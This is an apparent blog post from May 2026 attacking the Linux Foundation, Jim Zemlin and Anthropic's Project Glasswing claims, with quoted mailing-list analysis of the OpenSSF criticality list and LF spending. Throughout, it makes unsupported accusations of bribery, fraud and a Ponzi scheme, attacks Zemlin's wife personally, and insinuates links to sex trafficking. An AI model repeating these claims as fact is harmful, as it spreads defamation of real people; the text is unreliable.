⠀⠀⠀⠀⠻⣿⣷⣿⣾⣿⣿⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠛⠛⠛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⣴⣶⣶⣶⣦⣤⣤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⣴⣦⣤⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⢿⣿⣿⣿⣿⣿⣶⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⡀⠀⠈⠻⣿⣿⣿⣿⣿⡇⠀⠀⣿⣿⣷⣶⣤⣄⣀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⢻⣿⣿⣧⡀⠀⠈⠻⢿⣿⣿⣿⣿⣿⣷⣶⡄⠀⠀⠀⣀⣀⡈⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣧⣤⣉⡉⠛⠛⠿⢿⣿⣿⣿⣿⣿⣶⣶⣶⣿⣿⣿⣿⣷⣄⠀⠀⠀⠀⣿⣿⣿⣿⣿⠟⠁⠀⢀⣾⣿⣿⣿⣷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 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⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣦⣤⣌⣉⡙⠛⠻⠿⢿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣾⣿⣿⣿⣿⠋⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⡷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣦⣤⣈⣉⠛⠛⠿⠿⣿⣿⣿⣿⣿⡿⠁⠀⢀⣼⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⣿⣉⡙⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣤⣄⣉⡙⠋⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⠟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣦⣤⣉⣉⠛⠻⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣤⣌⣉⡛⠛⠿⠿⣿⣿⣿⣿⣿⣿⡟⠁⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣦⣤⣉⡙⠛⠋⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣙⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠟⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⣤⣍⣉⡛⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⣰⣿⣿⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⠀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣦⣤⣉⣙⠛⠻⠿⢿⣿⣿⡿⠋⠀⠀⣠⣾⣿⣿⣿⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⢀⣾⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣿⣿⣿⣿⣿⣿⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⡄⠀⠀⠀⢀⣴⣿⣿⣿⣿⣿⣿⣿⣿⣿⠏⠀⠀⠀⢀⣴⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣾⣿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣬⣉⣛⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⣠⣄⣈⠻⣿⣿⣿⣿⣿⣿⡿⠃⠀⠀⠀⣠⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣤⣍⣙⠛⠻⠿⢿⣿⣿⣿⣿⠃⠀⠀⣴⣿⣿⣿⣷⠌⢿⣿⣿⡿⠋⠀⠀⠀⣠⣾⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣍⡉⠁⠀⢀⣾⣿⣿⣿⡿⠋⠀⠈⠻⠋⠀⠀⢀⣤⣾⣿⣿⣿⣿⡟⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠈⠙⠛⠉⠀⠀⠀⠀⠀⠀⣠⣶⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⠀⣼⣿⣿⣿⣿⣿⣿⣧⣭⣉⣛⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣤⣤⣀⣀⠈⣹⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣬⣍⣙⡛⠻⠿⢿⣿⣿⣿⣿⣿⡟⠁⠀⠀⠀⠀⠀⠀⠀⣀⣤⣴⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣦⣬⣉⡛⠋⠀⠀⠀⠀⠀⣀⣤⣶⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⣸⣿⣿⣿⣿⣿⣿⣙⡛⠻⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⣠⣤⣤⣤⣀⣀⠀⠉⠙⠻⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⢀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣤⣍⣉⣛⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⣬⣉⣛⠛⠻⢿⣿⣿⣿⣿⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⣬⣉⣛⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⢰⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣶⣤⣍⣙⣛⠻⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣤⣭⣉⣛⠛⠿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠘⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣦⣼⣿⣿⣿⣿⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ ⠀⠀⠀⠀⠀⠀⠈⠉⠛⠛⠿⠿⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀ 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⠀⌧ █▇▆▅▄▃▂▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁ Jim Zemlin/Linux Foundation Selling Anthropic Slop After Getting Bribed for Slop Marketing ('Linux' Foundation is a Pay-to-Say For-Profit Marketing Company That Buys and Manipulates the Media Based on False Pretences)⠀▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▁▂▃▄▅▆▇█ ⌧ posted by Roy Schestowitz on May 12, 2026, updated May 12, 2026 Last month: Latest_Example_of_False_Marketing_by_Anthropic | Anthropic_and Claude_Are_National_Security_Risks_Not_Because_of_Politics_But_False_Marketing and_Vandalism,_Plagiarism_Sold_as_Innovation Earlier this month: The_NHS_is_Under_Attack_by_Anthropic_and_Microsoft_(or Their_Lemmings_That_Infect_the_NHS) We not only knew this would happen but warned it would happen, knowing what sort of person Jim Zemlin is married to (securities_fraud; no technical knowledge at all, just money-chasing fanaticism). Jim Zemlin publicly boasts that his wife controls him and tells how she belittled him if he did not focus on money (on their first date). Now we see the people who claim to speak for "Linux" (but don't even use it) speaking against Linux to promote a scam. They peddle FUD as a form of marketing. As Akira Urushibata put it in recent days (with permission granted to reproduce): The following article describes a security expert's effort to determine whether Anthropic's claim of "thousands of severe vvlnerabilies" is true. He examined the CVE registry. Researchers Are Trying to Determine How Many Vulnerabilities Claude Mythos Has Discovered https://hackmag.com/news/mythos-cves VulnCheck specialist Patrick Garrity tried to determine how many vulnerabilities Anthropic's new AI model Claude Mythos actually discovered as part of the Project Glasswing initiative. Recall that the developers had claimed it found thousands of 0-days. ... Gerrity decided to put Anthropic's bold claims to the test and examined the CVE registry, which contains more than 327,000 entries. He searched for all records containing the word "Anthropic" starting from February 2026 and manually analyzed the results. --- On April 7th Jim Zemlin of the Linux Foundation made a statement on Project Glasswing. https://www.linuxfoundation.org/blog/project-glasswing-gives- maintainers-advanced-ai-to-secure-open-source The message is addressed primarily to "open source" developers. Zemlin understands that they suffer from limited resources and says that Project Glasswing would be a blessing because "AI" would assist arduous security-related work. He speaks of providing Claude access to "open source" developers, even going on to suggest that such access would entice people to accept maintainer roles. There are several problems. The above was posted on April 7th. A month has passed but maintainers are generally unaware of this proclamation. The Linux Foundation has not issued any further statements, indicating an absence of notable progress. There are many free software projects that maintain critical system components. Compiling a comprehensive list is a significant task. Any attempt to determine who shall be let in and who shall be kept out should lead to noisy debate, which we currently do not observe. I believe Jim Zemlin's plan to make Claude available to a large number of "open source" developers is at odds with the desires of Project Glasswing member firms. Glasswing is promoted as a small and tight group while Zemlin calls for throwing the gates wide open. Without resolving this conflict the Linux Foundation cannot make progress. Linux is the name of a kernel, and the Linux Foundation is built around kernel developers. Many people wrongly believe that "Linux" is the whole OS and do not understand that the Linux Foundation has absolutely no authority over developers of other OS components. In fact many developers are not interested in the Linux Foundation and pay scant or no attention to announcements on their official website. In contrast when ordinary people hear that the Linux Foundation is a Glasswing member, they assume that developers of the "Linux OS" would be given ample time and resources to deal with security issues. Unfortunately this is not the case. A dangerous gap between reality and perception thereof exists. --- If we want to compile a list of critical system components, where do we start? The Debian Popularity Contest may be the starting point: https://popcon.debian.org/ Two days later: Trying to determine what the Linux Foundation is doing to identify "critical" system packages I found this page: https://insights.linuxfoundation.org/ Discover the world's most critical open source projects So what are they? Top 30 Open Source Projects https://insights.linuxfoundation.org/collection/details/top-open- source-projects A curated list of the most essential open source projects based on the OpenSSF Criticality Score, representing foundational infrastructure and frameworks relied upon globally across industries. Note: although it says "Top 30" actually there are 46 projects listed. There is little overlap between this list and the Debian base system and essential packages which naturally rank high in the popularity contest (popcon) list. Many projects in the "Top 30 Open Source Projects" list rank low in Debian popcon or don't appear at all, while Debian's base system and essential packages don't appear in the Linux Foundation's list. Here I examine two examples: Second in Linux Foundation's "Top 30 Open Source Projects" list is Flutter. Flutter https://flutter.dev/ Flutter is powered by the dart language. If flutter is critical, dart should be at least equally so but it does not appear in the "Top 30" list. Debian does not provide a package for dart. It seems a package named "dart" is available from an outside source: it appears low in the popcon list. This .deb package may be for the Dynamic Animation and Robotics Toolkit which has no relation with the dart language. DART (Dynamic Animation and Robotics Toolkit) https://dartsim.github.io/ Eighth in the "Top 30" list is Godot Engine. Godot Engine https://godotengine.org/ja/ Godot Engine is a game engine with editor. It makes developing 2D and 3D games easy. The godot3 package is provided by Debian. It ranks low in popcon. The Linux Foundation considers a game engine "most essential" and "relied upon globally across industries." We can see that the "critical projects" list is poorly focused. It doesn't serve its stated purpose and as such gets little attention. --- So how did Linux Foundation produce the list? The criticality ranking is produced by an algorithm provided by the Open Source Security Foundation (OpenSSF), which is affiliated with the Linux Foundation. The OpenSSF site has a page explaining the formula: Understanding and Applying the OpenSSF Criticality Score in Open Source Projects https://openssf.org/blog/2023/07/28/understanding-and-applying-the- openssf-criticality-score-in-open-source-projects/ The algorithm has three variables, a[i], S[i], and T[i]. a[i] is the weight of the i'th signal, S[i] is the value of the i'th signal, and T[i] is the threshold of the i'th signal. The person running the algorithm arbitrarily selects the input factors (or "signals"). The weight a[i] is an arbitrary scalar. As such this model gives the person in charge much room for tampering. For example should someone desire to produce a list with Emacs ranking high, he could do so by making "number of supported human languages" "age of project" "percentage of code written in Lisp" input factors and assigning large weights to them. The input factors and weights used by the Linux Foundation are not published. I haven't found a complete list of projects surveyed. Neither have I seen criticality scores in the "Top 30" list or elsewhere. My guess is that the Linux Foundation needed to produce a criticality ranking with Linux kernel ranking high, and tweaked around with S[i] and a[i] to get the desired outcome. I have seen that kind of tweaking with multiple regression analysis. --- Wikipedia provides a compilation of free software directories: List of free software project directories https://en.wikipedia.org/wiki/ List_of_free_software_project_directories Linux Foundation is not mentioned in this article. Akira Urushibata In relation to the Linux_Foundation, whose management is financially_controlled not_by_kernel_stakeholders_but_"slop_bros"_and_other_scammers_(or_scam varieties_with_the_lion's_share_of_the financial_leverage). On 5/8/26 02:31, Akira Urushibata via libreplanet-discuss wrote: ... and the Linux Foundation is built around kernel developers. I wish that were still the case with the Linux Foundation (LF). While, the LF /was/ built around kernel developers, growing out of the OSDL, nowadays about the only Linux there is in the name. Both it and the OSI have been taken over by microsofters who steer both organizations away from their original goals. See also the similar situations at the companies Canonical and IBM. However, that is just the start of a very long list even if one constrains the scope of the complaint to just ICT. The financial statements for the LF show, and have shown for years, that only about 2% to 3% of the technical portion of the budget is actually spent on Linux. See page 20 of the latest report¹. On page 58, you see the full numbers: $8,410,114 2.95% Linux Kernel Project $6,750,480 2.37% International Operations $15,726,845 5.52% Community Tooling $15,834,749 5.56% Corporate operations $16,813,013 5.90% Even Services $17,733,121 6.23% Project Infrastructure $21,637,925 7.60% Training $181,889,435 63.87% Project Support Most of the non-kernel line items are spent on some really odd things, not Linux related things. Those odd things include Glasswing and other boondoggles. A dangerous gap between reality and perception thereof exists. Yes, good call there. A very dangerous gap between reality and perceptions exists. The late Pieter Hintjens used to assert in his writings that organizations cannot be reformed once they have gone bad. Instead he called for outright replacement when they do turn corrupt. However, in the case of LF that'd be quite hard unless Linus himself were to take his trademark² and walk. I don't know him but from the decades of interviews and articles, he gives the strong impression that he avoids bureaucracy. So that would need some really special circumstances and support in order to even be considered. Back when Red Hat was a thing that worked out well for him, but now even Red Hat is gone in all but name. So some solution needs to be worked out which will just let him hack on Linux while keeping the microsofters and other saboteurs out of his hair and his project. /Lars ¹ https://www.linuxfoundation.org/hubfs/Publications/ 2025%20Linux%20Foundation%20Annual%20Report_122225a_lr.pdf ² https://www.linuxfoundation.org/legal/the-linux-mark Anthropic is a truly_terrible_company and a key participant in a giant Ponzi scheme. Zemlin is destroying_the_credibility_of_Linux (the brand) because he profits from it. At whose expose? All_of_us. Look what they've done to Steven Vaughan-Nichols (SJVN), the 'mentor' of Spamnil (according to Spamnil; both_are_marketing_operatives_of_Zemlin,_on_his payroll). This is his latest: 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇Steven Vaughan-Nichols: Slop image; Slop promotion, sponsored by the company it's about⦈ How much closer are they willing to bring the "Linux" brand to pedophilia_and sex_trafficking? The disrepute severely hurts the community, not GAFAM et al (controlling the brand, an act of predation). █ 🄸🄼🄰🄶🄴 🄳🄴🅂🄲🅁🄸🄿🅃🄸🄾🄽 ⦇We need a safe space and a CoC; That's why we partner with Bill Gates -Jim Zemlin⦈ * GitLab_the_Latest_Company_to_Do_Mass_Layoffs_and_Use_Slop_as_the_Go-to Excuse_(GitLab_Users_Should_Worry_Too) * The_Slop-Amplified_Fear_of_Privilege_Escalation_(Local,_Not_Remote)_in Linux,_the_Kernel ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠿⢛⡛⠛⢻⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠀⠈⠈⠀⢸⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣀⣀⣀⣀⣼⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⣭⠛⣛⡟⠛⢛⣻⣏⡭⣟⡻⢻⢻⢛⢛⡛⠛⣿⠹⡹⠹⣛⢛⡻⣛⡏⡛⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⣶⣧⣶⣷⣶⣾⣿⣷⣶⣷⣾⣶⣾⣾⣶⣶⣶⣿⣷⣷⣿⣶⣾⣾⣶⣷⣷⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣼⣮⣽⣯⣯⣷⣽⣿⣿⣤⣽⣎⣽⣷⣿⣭⣿⣶⣽⣷⣽⣭⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡏⠉⠉⠉⠉⠙⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣇⣈⣉⣈⣈⣀⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿ ⣿⣟⣛⣛⣛⢻⣿⣿⣿⣿⣿⣟⣿⠿⣿⢿⠿⡿⣿⡿⢿⡿⠿⣿⠿⢿⣿⡿⡿⢿⠿⠿⣿⡿⠿⡿⠿⢿⡿⠿⣿⣿⠻⣿⣿⢿⠿⣿⠿⢿⡿⠿⣿⡿⡟⢿⣿⣿⣿⠿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣯⣯⣽⣯⣿⣿⣿ 